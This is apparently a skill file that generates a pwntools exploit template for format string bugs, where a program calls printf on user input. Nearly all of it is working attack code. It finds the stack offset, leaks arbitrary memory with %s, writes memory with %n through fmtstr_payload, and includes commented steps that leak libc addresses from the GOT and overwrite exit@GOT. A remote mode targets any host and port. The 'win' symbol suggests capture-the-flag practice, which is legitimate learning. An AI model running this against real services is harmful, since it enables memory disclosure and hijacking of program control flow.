pwn-format-string

PWN Format String - Format String Exploit Template

Generate a format string exploit for arbitrary read and write operations.

Execution Steps

Step 1: Identify Format String Offset

Find offset where input appears on stack:

for i in range(1, 30):
    print(f"Testing offset {i}")
    # Send: AAAA%{i}$p
    # Look for 0x41414141 in output

Step 2: Generate Template

Create exploit with read and write primitives.

Generated Template

#!/usr/bin/env python3
"""
Format String Exploit Template
Target: <binary>
Vulnerability: printf(user_input) without format specifier
"""
from pwn import *

# === CONFIGURATION ===
BINARY = './<binary>'
FMT_OFFSET = <offset>  # Offset where input appears on stack

# === SETUP ===
elf = ELF(BINARY)
context.binary = elf

def conn():
    if args.REMOTE:
        return remote(args.HOST, int(args.PORT))
    elif args.GDB:
        return gdb.debug(BINARY, 'b printf\\nc')
    else:
        return process(BINARY)

# === PRIMITIVES ===

def leak(addr):
    """Leak memory at address using format string"""
    io = conn()
    # %s reads string at address on stack
    # Place address at correct offset, then dereference
    payload = f'%{FMT_OFFSET + 1}$s'.encode()
    payload = payload.ljust(8, b'\\x00')
    payload += p64(addr)
    io.sendline(payload)
    return io.recvline()

def arbitrary_write(addr, value):
    """Write value to address using %n"""
    io = conn()
    writes = {addr: value}
    payload = fmtstr_payload(FMT_OFFSET, writes)
    io.sendline(payload)
    return io

def find_offset():
    """Find format string offset"""
    for i in range(1, 50):
        io = conn()
        io.sendline(f'AAAA%{i}$p'.encode())
        resp = io.recvline()
        if b'0x41414141' in resp:
            log.success(f"Offset found: {i}")
            return i
        io.close()
    log.error("Offset not found")

def main():
    # === FIND OFFSET (run once) ===
    # offset = find_offset()
    # print(f"Offset: {offset}")

    io = conn()

    # === EXAMPLE: LEAK GOT ENTRY ===
    # payload = f'%{FMT_OFFSET}$s'.encode().ljust(8, b'\\x00')
    # payload += p64(elf.got['puts'])
    # io.sendline(payload)
    # leak = u64(io.recv(6).ljust(8, b'\\x00'))
    # log.success(f"puts@libc: {hex(leak)}")

    # === EXAMPLE: OVERWRITE GOT ===
    # writes = {elf.got['exit']: elf.symbols['win']}
    # payload = fmtstr_payload(FMT_OFFSET, writes)
    # io.sendline(payload)

    # === EXAMPLE: LEAK STACK VALUES ===
    payload = b''
    for i in range(1, 20):
        payload += f'%{i}$p '.encode()
    io.sendline(payload)
    print(io.recvline())

    io.interactive()

if __name__ == '__main__':
    main()